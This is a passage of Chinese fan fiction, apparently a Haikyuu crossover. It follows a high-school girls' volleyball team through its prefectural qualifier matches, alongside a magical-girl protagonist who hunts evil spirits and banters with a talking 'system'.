简直就像是新山选手们的个人秀。
新山这边气势大振，观众席上也是如此。
十六夜和星那最是兴奋，带头加油，虽然在旁人眼中，应该只有大小姐一人的身影。其他一些稍微腼腆也没有吝啬自己的呼声。
另一边，在体育馆门口的2个白户高中的女生面露难色。
“这都第几球了，被那种扣球得分，我们就连加油都会显得很没气势哎……”
“越是到这个时候，我们才更应该大声加油才对吧！”
“哎？”卷发少女震惊地看着自己的好友。
“干嘛？”
“你竟然会说出这么热血的话，真不像你啊。”
“高三的学姐应该打完IH就要退队了吧？所以……”
卷发受到鼓舞，立刻闭上眼大喊：“小沼学姐！加油啊！”
小沼真纪有时候觉得自己没有那么热爱排球，毕竟未来也不准备从事和排球相关的工作，可是……
可如果真的不喜欢，她还是打了那么多年不是吗？
“振作点，打出我们水平就可以了！”
小沼真纪微笑着鼓励着低沉的队友。
作为王牌，她还有应该要做的事情。
“是，队长。”
“下一球，下一球一定要拿下。”
她竖起一根手指，好像立下某些誓言。
白户接下了发球，小沼真纪快速跑位，大力扣球。
排球打到花咲的手上反弹出界。
“队长，nice！”
“好球。”
小沼真纪有些欣慰地看着微微发红的掌心。
这场比赛之后，应该就不会常常打排球了吧？
她抬头望向雪村，脱口而出道：“排球，很有意思吧？”
明明是疑问句，更像是对自己感受的陈述。
“嗯。”雪村芽点点头，“下一个球，我们会拦下来的。”
“哈哈哈，真是令人害怕。”小沼真纪畅快地笑起来。
最终，新山2:0赢下比赛。
18.少女们在赛后的交谈
新山大胜并不是什么预料之外的事情，且不说选手们都没有特别激动的反应，甚至在互相鞠躬后，她们就开始复盘比赛中的不足之处。
“天内今天的攻击已经有了王牌的潜质，接下去就是要给自己多一点自信。”
全队身高最高的少女脸颊上透出一抹绯红，她深吸一口气道：“是，教练，我会继续加油的。”
“花咲，直接使用跳飘球太过乱来了，以后每天练习结束后要额外发20个好球。”
果然来了……看来刚才应该谨慎一点等待机会的，而不是急于让小雪展现快攻就冲动地创造机会。
“是～”花咲无奈地应道。
哎，说到底是就是被那个单细胞活力排球笨蛋给影响了吗？
想着，她看了看全然不知发生了什么的望月。
那可是20个好球哎！按照现在的成功率差不多要发一倍多才能达到目标量吧？
“教练，花咲这么做是因为……”雪村芽开口想说点什么。
新井教练当然知道她的想法，于是打断她的话：“雪村今天的表现不错，有很好地凭借自己的速度利用网的宽度，但是在后半段体力下降后，防守精度有些不足，需要加强。”
雪村闻言抿了抿嘴唇，伴着重重的点头吐出一个字：“是。”
“真好～小雪都不用加练呢～”
“哈哈哈，小雪自己加练的时间要比阿叶久多了吧？”
“咳咳。”风间枝轻咳一声提醒好心的问题二人组「教练还没有说完话」这个事实。
感受到轻松的气氛，雪村一贯平静的脸上泛起波澜。
尽管平日里也这样，但现在是不同的。
这是她和同伴们一起赢下的第一场正式比赛。
是她三年多以来以首发身份第一次打完全场的比赛！
“啵”地一声，有什么声音在她的耳边响起。
她辨别了一下——
哦，原来是一颗种子从心脏的沃土上发芽的声音。
这就是豪强吗？
看见新山正在紧张地赛后复盘，小沼真纪苦笑了一下，带着队友向前来为她们加油的观众们鞠躬道谢。
是的，她并不觉得自己会继续打排球，所以也谈不上有什么遗憾，可是……
可是真的要就此告别……怎么说呢……
“小沼学姐，未来也要加油呢！”
哎？
她抬头的瞬间，眼泪夺眶而下，模糊了她的视线。
要和贯穿自己青春的排球告别，还真是有些不舍呢……
“队长……我们……”
“希望你们打得开心，不留遗憾就好了。”
小沼真纪含着泪对着自己的后辈们说道。
雪村芽跟着大部队离开体育馆，有人叫住了她。
“呐，雪村。”
“你好。”
雪村芽当然不会忘记这位初中排球部的王牌，不过作为边缘人的自己和对方一直没有什么过多的交流。
“你以后还会继续打排球的对吧？”小沼真纪问道。
“嗯。”雪村回答得很快，似乎根本不用思考。
对于这个问题的答案，她从来没有动摇过，即使是处于那段长久的不能上场打比赛的日子。
似乎是被她不假思索的态度所感染，小沼真纪动容地眯起眼睛，她笑着说：“那么，不要输啊。”
比赛的胜负与太多要素相关，选手的状态、场地的熟悉程度、战术的克制……
到了遍地都是怪物的全国大赛，即使是新山也不是能够轻松赢下所有比赛。
不过，雪村芽隐约觉得她说的应该不是这个。
天赋是一个人上限，但大多数人还没有努力到能够达到这条线就开始抱怨不公。
她的意思是——即使是普通人，也不要……
“不要……输给那些努力的天才啊。”
小沼真纪走过来，轻轻拍了拍雪村芽的的肩膀，好像擅自出示了约定文书。
雪村芽闻言眨了眨眼睛，随后露出微不可及的微笑在文书上签下了自己的名字。
“嗯，我不会输的。”
阎魔乐和大家一起整理着物料，自家队伍赢了比赛她当然是心情很好。
可是讨人厌的系统突然打开了话匣子。
「你看呐，宿主，在新山你可能会一直没有上场的机会哦～」
这还用你说？
阎魔乐看了看正在忙碌地大家，没好气地低声道：“可如果太弱的话，输掉比赛就没办法继续了吧？”
只有留在场上的获胜者才能打更多比赛。
「嘛，也是这么个理由呢～」
“说起来，最近的邪祟很安静呢，你没有感受到什么吗？”
「统统我呢，只是个打排球的系统嘛～没有那种预警功能啦～」
“……”
认真的吗？
阎魔乐无语，真就是一点附加功能都没有，不仅如此还很喜欢磕CP……
她现在很怀疑，这真的是个系统吗？
「嗯～宿主正好趁这个时间好好进步，拿回更多的魔力才好呢～」
快闭嘴吧……空洞的漂亮话谁都会说，干活的还是她好不好？
不过，一直没有发现邪祟的踪迹确实不是什么好的迹象。
她之前运气不错，那些低等低智的邪祟在升级前就被她收拾掉了。
可要是有什么邪祟偷偷在距离她很远的位置上为祸一方，到那时候……
没一场恶战肯定解决不掉。
不过邪祟作祟总是有迹可循的，还好这个时代互联网已经普及了。
返程的大巴上，阎魔乐登入最大的灵异论坛浏览着相关的帖子。
摒除掉一些看上去就很离谱的内容，有一些描述着实令她在意。
【求助：感觉身后一直有东西跟着，怎么办？】
L1：如题，大约是从一周前开始，我就开始感到有什么东西跟踪自己，但是大着胆子回过头根本看不到任何东西。有时候进卫生间的时候也会有这样的感觉。
L2:会不会工作太累所以看错了？
-回复：应该没有这种可能性。
L3:楼主应该是遇见身后灵了。
-回复：那有什么办法解决吗？
-回复：我认识一个除灵很强的事务所哦，叫灵幻相谈所，这是官网……
虽然三楼这个回复大概率是在骗人，但楼主的情况就很像之前跟着日向的那一种邪祟。
于是，她给楼主留言让她联系自己。
“哇，阿乐，你也喜欢灵异故事吗？”
故事啊……
“算是吧，阿夜你不相信有灵异的事物存在吗？”
“嗯，这个世界上怎么会有那些稀奇古怪的事情呢！～都是编出来的吧～”
也许有时候你突然出现会更令人吃惊吧～
看着十六夜的笑容，阎魔乐点点头道：“嗯，就是啊，有些看上去编得太假了呢。”
“建议不要这么说哦，十六夜同学和阎魔同学。”鬼冢幽从前排座位回过头，她有些不好意思地笑笑，随后一脸认真地把话说完，“有些东西还是要保持敬畏的呢。”
“哎？”十六夜愣住，“小幽为什么这么说呢？”
“幽可是神社的继承人！～当然知道很多你们这些凡人不知道的事情啦～”星那突然开口，她有些自豪地昂起头。
“忧子别这样啦……”鬼冢幽制止道，继而面含歉意地对二人说，“我没有别的意思……”
“不过，宁可信其有对吧？”阎魔乐顺水推舟地说。
本来她就是直面邪祟的魔法少女，正好借着这个机会让十六夜小心一些，一旦有异常也好及时告诉她。
“嗯。”鬼冢幽笑了笑，“阎魔同学
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，谢谢你呢。”
星那对此倒是没有再说什么，似乎对她们态度的转变比较满意。
突然间，一个意料不到的人加入了这场对话。
“你们看了最近上映的《女高灵异事件》吗？”
大空切换翻到院线的海报，将手机屏幕对准聊天的几人。
海报上，脸色铁青的女高中生站在校门前，学校大楼破败染血被阴影笼罩，整个画面诡异又荒诞，有什么看不见的东西隐藏在黑暗之中，似乎对女生们虎视眈眈。
“哎？大空同学喜欢看这样的电影呀？”十六夜好奇地问。
“谈不上喜欢，什么类型的都可以。”大空一如既往地兴趣缺缺，“只是空闲的时候会选择看电影。”
平日里最为“嚣张”的星那此刻却选择了沉默。
“忧子不会是害怕了吧？”
阎魔乐一眼预见了「傲娇一定会逞强」这个未来。
所有人都知道的，逗傲娇这件事是真的很难忍住。
“谁，谁会害怕啊？”
果然，星那嘴硬道，她硬着头皮转过头看向海报，想证明阎魔乐的话完全错了。
紧接着，一双手温暖地覆在了她的眼睛上，为她阻断了恐惧的侵蚀。
鬼冢幽温柔地说：“没关系哦，忧子，我会保护你的。”
“谁，谁要你保护啊……”话虽这么说，星那全身放松了下来。
大空发现没有人看过这部电影，觉得话题到这里就差不多了，于是收起了手机，再次将脸转向车窗外。
“那么，电影有趣吗？”
“嗯？”大空下意识回头，发现是阎魔乐。
她没想过对方会和自己搭话，不过还是如实说了自己的感受：“还好，有些新编的灵异事件，主要是画面做得还不错。”
“发生了哪些灵异事件呢？”
创作源自于生活，一定是有些都市传说足够脍炙人口才会被改编搬上大荧幕，就当启发搜查邪祟地点的灵感了。
“比如生物教室的人体模型，午夜女厕的镜子，另外裂口女也……”大空的语气没有起伏，好像在说中午吃了些什么一样平淡。
“啊啊啊，别说了啦！”
星那听不下去了，耳机正好故障送修，那些可怕的词句一字一句地钻入她的耳朵。
“啊啦～你们安静一些哦～”花咲笑眯眯地回过头。
按照她的猜测，今晚要加练的应该就不是她一人了。
果不其然，新井教练微笑着说：
“看来都很有精神啊，那么除了参赛的正选队员，其他人回到学校加练哦！～”
***
选拔日第二天，新山很顺利地赢得了比赛。
对手当然是一轮比一轮强，但也就是25-12和25-18的区别罢了。
目前还没有队伍能在新山手上拿到20分，这还是处于她们在尝试一些新战术配合的情况下。
随着新山赢得半区决赛后，另外半区自然也进入了最终比拼。
比赛的两队作为县内的强队，在过去的几年中多有交手，算是打得有来有回，日常也有不少交流。
结合男队那边的情况，这两队会有如此的羁绊倒也并不奇怪。
毫无疑问，是青叶城西和白鸟泽。
两队进场热身，其中一个陌生的身影引起了青城这边的注意。
根据背号能够确定是一年级的新生，当她作为首发站上赛场的时候，城田教练恍然大悟。
“原来，那就是白鸟泽的秘密武器啊？鹭之上这家伙眼光确实毒辣。”
她自言自语着，往二楼看台扫了一眼，刚好看到新井教练的视线落点也在那个新人身上。
同一时间，新井教练无奈地笑着摇了摇头，似乎也在感叹相同的事情。
那么接下去——
会是树海震撼白鹰，还是猛禽折断枝桠呢？
19.运动饮料的回礼是牛肉
宫城县IH预选赛第二天。
正午的阳光从头顶上洒落下来，脚底下的阴影变得很小很小，天空中飞过几只小鸟叽叽喳喳，不远处的孩子正追逐打闹声，阎魔乐却不觉得吵闹。
啊……好平和……
看着清澈的水柱灌入水瓶之中，她稍稍有点走神，偶尔有一瞬觉得如果一直这么平静下去也不错。
“接完水就可以过来吃饭咯～”飞鸟苗香温柔地喊道。
“是！”十六夜元气地应道。
阎魔乐回过神，拧上了水龙头。
停驻在此是不可以的，完成这个世界的净化指标，然后到更凶险的位面去继续消灭更多的邪祟。……
这是她的使命，也是她的目标。
至于这里的一切……
“阿乐～怎么了？”
见她一直不说话，十六夜凑到她的面前担心地问。
落到好友身上的目光微微一颤，阎魔乐笑得有些勉强：“没事，我们过去吧。”
相较于两个月前，新山排球队的人数已经减少了很多。
可怕的训练量劝退了那些带着「不过就是社团活动罢了」、「稍微练习下就能变强」等等念头的半吊子。
新山对于向冠军这座高峰攀登的野心和坚定让这一届的首发被称为历年来最强。
体育馆休息区，除了教练统一准备的午餐外，不少队员还从家里带了一些自制的小食。
玉子烧、明太子饭团、御手洗团子……
“等我一下～”
阎魔乐赶紧地跑回寄存的背包处，翻出装着土豆炖牛肉的保温盒。
之前她尝试着做的便当，十六夜赞不绝口，直言之前没想过她会做饭。
这不整出自信来了？
考虑到人数，阎魔乐特意多买了很多牛肉，嶋田诚还向她反复确认是不是一定要买一家三口吃三顿那么多的量。
这样的结果不仅装满了2个大容量密封盒，还额外多了一小盒。
她原来是怕不够分，不过在看到学姐们带的食物，她又担心吃不完会浪费。
提着袋子快速穿过走廊，一个高大的身影擦着手上的水渍正好从洗手间走了出来。
爱干净、讲卫生、肌肉很大……
除了超高中级的主攻手牛岛还能有谁？
牛岛看到少女的那一刻停下了脚步，明显是认出了她。
看来白鸟泽的男队是在别馆打比赛，他们应该是赢得毫无压力吧？
说起来，她上次好像说过第二次见面会还礼的。
现在刚到午休时间，牛岛是非常注重身体状况的性格，所以一定不会太早吃饭，那么……
“牛岛同学，还没有吃午饭吧？”阎魔乐微笑着问，她没有等回答就将最小的那盒递过去，“牛肉能补充蛋白质，所以能作为加餐的对吧？”
牛岛没有立刻说话，似乎是有些不解。
她的出现总是很突然，可她说话的语气却总是落落大方，有一种熟稔的坦荡。
“是上次的回礼。”阎魔乐又将盒子向前递了递。
也许是少女对送出这份牛肉的执着，也许是认为她说的话没错，也许是饭盒外干干净净、毫无油腻，总之，牛岛摊开手掌捧住还有些温热的盒子。
“谢谢。”
牛岛看上去是那种情绪相对稳定、话少的类型，却在少女要离开前问出了某个答案显而易见的问题。
“你是新山排球队的队员？”
和大脑活跃、语言贫瘠的影山不同，牛岛总会自然而然地说出某些他认为是正确的话，正直到无理。
所以说，他的这个问题问的根本就不是字面意思，需要应对的回答当然也不是浅薄的是或否。
“就算是不起眼的种子也能在新山这片肥沃的土壤中发芽成长。”阎魔乐直接预判了牛岛的想法，“所以说，新山很厉害吧？”
少年的表情凝住一息，又很快柔和了下来，轻点一下算作认可。
“那么，告辞。”
“再见。”
阎魔乐提着袋子兴冲冲地放在桌上，快速地打开在两张长桌上一边放了一份。
“我炖了牛肉，大家尝尝看！～”
“哇！肉！”望月须弥的双眸变成星星眼，迫不及待地塞进嘴里嚼嚼嚼，“好好吃！”
“这小鬼可真能干啊。”花咲笑眯眯地夸奖道，别有深意。
“唔，花咲学姐似乎很不甘心……”云中低声说。
连冷静如常的风间枝都在动筷子之后点了点头对味道表示肯定。
嗯嗯，果然如此。
在炖牛肉这件事情上，她是个天才！
“嘿嘿～”阎魔乐咧开嘴，笑得很开心，发出满足又得意的笑声。
另一边，牛岛捧着饭盒回到白鸟泽那边的休息区。
“奥～若利，你手上拿的是什么？”天童眼尖地看到基础款饭盒。
“回礼。”
“哎？牛肉作为回礼？那你送的到底是什么啊？”天童趴在桌上，他已经吃饱了。
“运动饮料和能量棒。”
牛岛打开了盖子，顿时肉香四溢。
“哎～不会是女孩子吧？”天童是凭直觉猜的，毕竟双方交换的物品不像正常粉红泡泡环节会出现的。
“嗯，新山排球队的队员。”
牛岛如实回答，他举起筷子，开始解决这份牛肉和自己的午餐。
刹那间，气氛安静下来，白鸟泽的其他人放慢了吃饭的速度。
天啊，竟然有人送饭给自家这个木讷的主炮？
竟然还是外校的？
他在学校里也很少跟女生说话吧？
“哎～新山好像是今年的夺冠热门～女生那边似乎一直很头疼呢～”天童一边思考，一边晃着脑袋，“好吃吗？”
牛岛鼓着腮帮子点点头，等完全咽下后，才开口说：“还不错。”
实锤了！
新山女排选手亲手制作的爱心便当。
到底是什么样的女孩啊！
白鸟泽众人在心中大喊！
牛肉全部吃完，看着盛着汤汁的饭盒，牛岛突然想起来一件事——
他一次也没问过少女的名字。
在休息区等待下午比赛开场的时候，阎魔乐翻着手机。
从昨天傍晚开始，她的手机十分安静。
如果没记错，现在的日向正在哭着吃饭吧？
有那么一瞬间，阎魔乐有些庆幸自己没有亲眼看见，毕竟开朗者的眼泪是令人很难不动容的东西。
突然上去询问赛果然后安慰根本是治标不治本的方法，毕竟这种事情除了变强之外根本没办法解决吧？
想了想，她退出了和日向的聊天界面。
现在的他需要的是和队友练习到精疲力尽，而不是来自幼驯染的问候。
再说，乌野很快就会通过东京的合宿突飞猛进地提高实力。
等等？合宿……
“说起来，我们在暑期会有远征合宿吗？”
“有
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的哦，去年是在爱知，那边的豪强初海高中很强。”二年级的千石英抬眸回复道。
“今年应该会去东京吧。”天内叶歌说，她似乎听到谷田老师打过电话。
“哎～那应该会遇到枭谷和一川吧～”花咲已经开始盘算胜利的战术了。
“嗷嗷嗷！”想到这些豪强，望月一整个燃起来了。
“冷静一些，一会还有比赛呢。”风间枝的声音又静又凉，似一阵清风。
“嘿嘿嘿～阿枝可真像个大人啊～”望月嘻嘻一笑。
***
赢了比赛的新山众人直接坐到了观众席，接下来是引人注目的白鸟泽和青城的比赛。
二者的赢家将大概率进入最终决赛对上新山。
星那扒着栏杆翘首以盼，鬼冢低声宽慰着她别紧张。
比赛开始。
两队实力相当，青城合作流畅，白鸟泽的实力也不容小觑。
在这之中，一年级的首发自然是引起了不少人的关注。
更何况，那是一位身高超过180的二传手！
等等，她发球用的是……左手？
“很可怕。”阎魔乐不由地评价道。
十六夜认真辨别着：“她看上去比望月和天内学姐都要高吧？”
“哼！～欣子姐很快就会把白鸟泽打败的。”星那不满地嚷嚷着。
“她才一年级，搞不好……”阎魔乐欲言又止。
“什么？”十六夜不解。
此时，不知姓名的焦点传出一记妙传，配合攻手拿下一分。
白鸟泽的拉拉队立刻开始欢呼，盖过了少女的话。
“搞不好那是我们未来将要征服过的一座大山。”
阎魔乐已经注意到了。
的确，今年的新山强得可怕，而最强的意思是——顶峰。
当三年级的学姐们毕业后，这座顶峰将不复存在，并不是说二年级的学姐们很弱，正相反，重新磨合后的新山依然会是豪强。
但现实是，不会是最强。
而一个高个子的二传，拥有了黄金川的伊达工给出过答案，至于左手的威力……「最强」的牛岛表示有话要说。
一年级就能首发上场的对手将比她们拥有更多的大赛经验，而且——
不出意外的话，会和她们比上三年。
不过，背号为15的一年级在技术上还有所欠缺，失误不少，在老练的青城轮番攻击之下，很快心态不稳被换下了场。
比赛被拖入了第三局，双方都绷紧了神经，竭尽全力拼搏着。
最终，青城2-1以微弱的比分优势赢得了比赛。
“你看我说什么来着～”星那骄傲地抱胸，昂起下巴。
“哦～小星那很开心嘛～”花咲笑眯眯地凑过来。
“嘿嘿～毕竟是欣子姐赢了嘛～”
“那么星那一定是知道，新山和青城只要赢了明天的半决赛，就要会师决赛了哦～”
星那顿时整个人僵在那里。
“嗷嗷嗷，我知道，这是不是「忠孝不能两全」。”望月兴奋地大喊。
“不是用在这里的啦～”飞鸟无奈地说，“还有，阿叶不可以这样逗学妹哦～”
“好啦～那么你呢？”花咲对着阎魔乐问，“你在想什么呢？”
“白鸟泽，会是个很强的对手。”阎魔乐如实回答。
风间枝望着说话的少女，在笔记本上落下几笔。
IH预选赛第三天，决赛，青城vs新山。
20.新山VS青城
仙台市体育馆，中心球场，宫城县IH预选赛女子组决赛。
新山VS青城，5局3胜。
两边的啦啦队各占一边，观众席几乎被青、白、红三种颜色占领，试运行的欢呼声一阵一阵，已经开始在气势上较劲。
阎魔乐和往常一样坐在准备席，紧盯着场上正在准备的选手们。
对决的双方都是传统的豪强，首发的主力基本为三年级的选手。
相较于新山的稳固，青城是一支战术更灵活的队伍。
在阎魔乐的眼中，那是宝贵的经验来源。
即使，青城会是败者。
学姐们的实力让她产生了一种狐假虎威的狂妄，虽然这次IH预选赛只是新山在上一届退队加入2名2年级后的第一次以完全体形态参加正式大赛。
可是……
她的视线扫过新山的队员们——最强的怪物，狡猾的怪物，冷静的怪物……
你告诉我，这怎么输？
阎魔乐相信这种想法应该会萦绕在大多数人的心头。
不过，青城似乎并不准备束手就擒，毕竟有谁会不想赢呢？
纵使对面是一座压迫感实足的万丈高山。
“各位。”
城田教练拍了拍记录册召集道，青城众人围了过来。
“新山在新上场的6号天内之后多了一个强攻击点，但因为是新人，所以心态比较不稳，限制住她的发挥就能使对方的攻击更加单一。”
“同时，5号雪村和7号云中让她们的防御和快攻得到了增强，至于望月——”
“哈哈哈！～”
场上正在热身的王牌扣出好球后的大笑声打断了城田教练的话。
“哈哈～这个我们已经很有经验了吧～”
青井欣子笑一声，缓解了队内紧张的气氛。
轮到青城热身，青井扣出一个漂亮的斜线球，啦啦队立刻热烈地欢呼起来。
“队长状态不错啊～”二传手木田称赞道。
“手掌反馈得触感很不错呢。”青井欣然承认，她并不是那种会为此增加自身压力的类型。
这是她第三次参加IH预选赛，此前她从未打进过全国大赛，最好的成绩也就是县内第二。
嗯，身为豪强，却实实在在地被新山压着打了2年呢。
真丢人～
话是这么说，至于心情嘛，除了不甘心之外，更多的是无可奈何和一点心悦诚服。
毕竟任谁看到新山的训练量都得感叹一声“好累”吧？
“欣子！”
望月须弥挥舞着整条手臂在准备席打起招呼。
青井见状，轻叹一声微笑着招了招手。
在初中时期，她就听说隔壁中学有一个能和高中生打比赛的怪物主攻。
初次见面的时候，这个冒失的家伙根本没有顾及她们互为对手的身份就跑过来打招呼。
很显然，现在也是如此。
“哇，你长得也好高呢！来比赛吧，掰手腕。”
原以为是个特别可怕的人，结果却是个只要能打排球就高兴得不得了排球笨蛋。
嗯，这样想来似乎也算是一种“可怕”呢。
见自家主攻殷勤地和对面的王牌打招呼，花咲和善地问：“啊啦～须弥不会忘了青城是我们的对手吧？”
“嘿嘿，因为欣子在打球的时候看上去很愉快嘛～”望月双手插腰爽朗地笑着。
“嘛，须弥就是这样的人啊……”花咲无奈地摊了摊手。
“花咲姐吃醋了……”云中芥子微不可及地说了一声，不过没有人听到。
热身完毕，青井适当补充了水分，无意中瞥到场边挂着的条幅。
【制霸球场】
青城排球队的标语是教练们共同商议的结果，所以男女队是统一的。
显而易见，这句话中包含着对胜利的强烈渴望。
可她不太喜欢这句话。
虽说在竞技体育中输赢是客观存在的结果，但她打排球的初衷并不是为了赢。
两队在网前列队，交错着逐一握手。
“嘿嘿～来比赛吧，欣子～”
“嗯，好啊～”
比赛即将开始，城田教练做起最后的动员鼓舞。
“无论对面是什么对手，拼搏着拿下胜利吧！”
“是！”
青城众人围成一圈大喊一声，走向赛场。
比赛开始，新山发球。
作为老对手，青城早就对于新山的战术和模式了解得很透彻——对面的二传一般会以大力跳发起手。
自由人藤森咽了咽口水，屏息严阵以待。
第一球能否接下来对于士气来说至关重要，特别是面对像怪物一样的新山。
花咲从一开始就注意到青城没有使用寻常的站位，而是舍弃了一部分攻击力，加固了防守。
看来这是绝对要接下自己这一球的意思呢？
花咲扯了扯嘴角，被如此郑重对待令她心情愉悦。
那么……就如你们所愿。
花咲的发球有一种侵略的美，排球以超高的速度径直朝着青城的自由人飞去。
这是一招险棋。
只要成功地在象征着一支队伍的最强防御力上拿分，对方的士气必然会被挫败不少。
藤森自然也是知道，她可以说是用尽全力。
少女的双臂在接触到排球的瞬间感受到了敌我双方的力量差距。
好重的球！
不过……可以。
她成功卸去了大半力量，但是在一传的角度上还是有些欠缺，不过足够木田托球给青井。
“上吧，队长！”
青井往云中被挡住路线的空位上扣出攻击极强的斜线球拿下一分。
“好球！”
“真是能干啊～”花咲若无其事地说。
“Don''t mind，下一球！”
很快，在精明的二传手和绝对的王牌的进攻下，新山连续得分，此外还有虎视眈眈的边线快攻。
比分只是焦灼了几分钟，就拉开了三分的差距，青城打得很艰难。
9:6
这不是很难预料的情况，只是青城今天的发挥着实不错，所以难免会有些紧张。
用尽全力也赢不了的对手……那样的想法逐渐笼罩在她们的心头。
成田教练使用了第一次暂停。
“振作起来，别把所有注意力放在对面的王牌身上。”她调整了拦网战术
回到比赛时，青井欣子在队尾叫住所有人。
“大家，听我说。”
队员们回过头，等待着自家队长开口。
“我们一起完成一场精彩的比赛吧～”她轻松地笑起来，“愉快地打球吧。”
“是！队长！”
焦躁的情绪顿时一扫而空，青城的气氛即刻转变。
深受众人信赖的青井只需要几句话就能振奋队员们的情绪。
这并不仅仅是实力上的认可，更多是因为那就是她的真实想法。
打一场愉快地、灵巧地、自由的排球。
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>毫无疑问，青井欣子很喜欢排球。
每一次起跳落下后肌肉的震动，每一次成功扣球的爽快，队友的笑脸……她都非常喜欢。
只不过最后这项一般出现在获胜的时候。
所以，起风吧。
在这个室内封闭的赛场上，刮起属于青城的飓风，去撼动那巍然的高山。
风间枝发球，刁钻地落在后排两人中间。
青城的防守没有被限制，反而同时一前一后错开去接，成功一传到位。
青城攻手起跳，新山三人拦网，下一秒，攻手挥空。
还没来得及震惊，青井从攻手背后冒出来，成功完成一次绝妙的后排进攻。
这是……
梯次进攻！
灵巧的风绝对不会囹圄枝头，那是能在山间自由穿梭的力量，纵使高耸入云，也总有风能够的自由来去的缝隙存在。
阎魔乐在职业比赛的视频中看见过这样的战术，是一种利用是前后排攻手的起跳时间差和视线遮挡进行的进攻招呼。
她快速记下了战术。
哦，还有刚才应对落点不佳的防守手段！
统统记下来。
比分到了15:14
分差被不断缩小，青城的灵活性得到展示。
“nice～”
青城众人愉快地互相击掌拍手，一副越战越勇的状态。
“那个好帅！我也想试试！”望月兴奋地喊。
喂喂，你这个单细胞生物，可别涨他人志气灭自己威风啊。
花咲敛去了笑意，她今天的表现实在不算太好。
她早就发现自己的进攻手段和战术选择过于依赖实力强大的攻手们，如果是其他对手，也许根本不成问题，但那个青城担得起豪强的头衔。
不仅如此，心理施压的效果很快在暂停和青井的鼓励下消失殆尽。
望月见花咲没有回答，立刻笑嘻嘻地说：“阿叶！给我传球吧！下一球，我一定会得分的。”
花咲回过神，望着熟悉的笑脸，她扬起嘴角：
“嗯，下一球我会传给须弥的。”
青城发球被接起，立刻警戒着新山还在后排的王牌。
“注意快攻！”
城田教练隐约看穿了花咲的计谋，立刻出言提醒。
防守队员为之一震。
花咲起跳姿势标准，看不出任何传球意向。
望月从后排进攻，同时飞鸟助跑起跳准备进行A快攻，风间也同样起跳佯攻。
是哪一边？
防守队员紧张地注视着，期待能从对方找出一丝破绽。
可花咲没有看任何攻手的方向，只是盯着那颗排球。
青城的拦网选择防守快攻，同时勉强拦住对面王牌的球路。
突然间，那颗排球轻飘飘扬起又落下。
花咲在最后一刻转变托球自己，直接将排球拍向自己的右后方。
排球轻巧地落在了无人防守的空位之上。
这是一次完美的二次进攻。
花咲站稳身子，俯视着为了救球而鱼跃到自己脚下不甘咬着牙的青城队员。
“不好意思呢～”她微微一笑。
飞鸟温柔地夸奖：“好球，一叶。”
“啊～好过分，阿叶竟然没有给我传球！”望月看上去十分受伤。
“下一球我一定会传给须弥哦～”
梅开二度。
说着，花咲看向脸上写着「信你才怪」的青城众人然后笑意更盛。
比赛继续。
21.傲娇这件事绝对是家族遗传
麻烦了。
在这一次巧妙的进攻后，城田教练意识到那个狡猾的狐狸二传又回来了。
无论是故意说出要传球给王牌以扰乱青城拦网队员，还是在快攻与后排进攻都被限制的情况下立刻改变战术用出没有任何前摇的二次进攻，都是她快速思考的结果。
而且，还是那种刁钻的角度。
现在的青城不仅要关注对面的攻手，现在还要应对出其不意的二次进攻。
本来她们抓住「新山二传手状态不佳」这个机会仅仅是让比分没有拉开，更不用说她那么快就找回了状态。
明明就还没有什么人给她鼓励吧？真是可怕的心理素质。
一个、两个，别强得那么全面啊……
纵使城田教练将暂停的次数使用完毕，依然没有改变战局。
在调整好状态的花咲与新山强力的进攻之下，新山以25-22赢下第一局。
十六夜激动地跳起来：“唔，学姐们太强了！”
说实话，她也好想那样给队友托球啊。
“哼哼～我明年一定会成为首发的！～”
星那昂着头得意地说，明明刚才还在为自己的姐姐而担心。
真的是很好懂的一个人啊……
“哎？那……”十六夜犹豫了一下，看了看身边的阎魔乐后立刻接上说，“那我也会的！”
如果有阿乐在的话……一定会没问题的。
“哼～真是大言不惭呢！明明存在感那么低……”星那瞥了她一眼，“嘛～你技术不错，到时候要好好传球给我啊！”
“唔……”十六夜在听到前半句的时候还是有点低落，不过星那的后半句话非常出人意料，她根本没想到高傲的大小姐竟然能对别人表达认可。
“太好了呢，十六夜同学。”鬼冢露出微笑，眼神中透露着一种欣慰的光芒。
阎魔乐暂时没有加入这场对话之中，她专注地看着手机备忘录中密密麻麻的文字。
好强。
那上面记录了双方在对决时的战术博弈，进攻和防守方式，青城的灵活性一览无遗，虽然她们除了王牌青井外，没有过于出挑的战斗力，但仍然与新山有一战之力。
不过，反过来说——
即使她们不断用多种战术攻击，却还是被新山纯粹的强大给击倒。
她以后也会有这样堪称是不讲道理的实力吗？
如果……只有到这个水平才能拿回自己全部的魔力该怎么办呢？
阎魔乐发现自己过于乐观，她这只落后起飞的「笨鸟」第一次对自己的未来产生了犹疑。
第一局比赛打得勉强能算是难舍难分，胜者想奠定最终的胜利，败者则想赶紧扳回一城。
场间休息短短的三分钟很快归零，所有人都是跃跃欲试的样子。
青城发球。
青井欣子抓着球走到边线，她转过身面对着球网。
她很喜欢从这个角度看向赛场。
队友的背影还有对手严阵以待的面容都清晰可见，她浅笑着后退到合适的位置。
一步、二步、三步。
青井欣子并不认为自己很弱，姑且也能算得上称一声强大。
当然啦，比不上望月这家伙。
如果是在热血漫画中，她应该表现得更不甘心一些，然后拼尽全力努力才对吧？
但是她没有。
她只是适当地训练，然后成为了王牌。
这么说来，也许她勉强也能担得起天才这一形容吧？
毕竟看上去像是没有用尽全力就做到了一些事情一样。
裁判吹响了哨声，青井欣子低头看了看手中的球。
没错，她是很喜欢排球。
和她喜欢烤秋刀鱼一样。
但是如果秋刀鱼卖完了，她可能会选择青花鱼或者海鲜天妇罗。
所以，她不是非要赢的。
甚至，她选择青城的原因也不过是因为离家近罢了。
她当然没有和别人表达过这些，毕竟这不应该是一个队长或者王牌该有的信念。
她只是说——想要愉快地打排球。
只不过目前看来，运用一切击溃对手，很有趣。
青井欣子发出一记完美的大力跳发，直接轰向后排的天内。
二年级的主攻尽力接球，但还是出现了失误，球直接飞到了观众席。
青城发球直接得分。
“抱歉。”
“没事，没事，下一球。”
青井欣子微笑着看向天内，一副完全不准备放过她的样子。
既然怪物望月拦不死，那干脆就保存体力，集中战力攻击最薄弱的部分，青城的防御手段针对快攻和天内。
这样的结果就是花咲在托球的时候，最强王牌望月的出场率从40%变成60%甚至更多，这也造成了新山真的变得和山一样巍然不动，意思是——笨重。
虽然花咲及时做了调整，但是某些种子已经种下。
在一整局的铺垫下，天内叶歌的进攻成功率逐渐降低，有几球甚至有明显犹豫导致没有扣死。
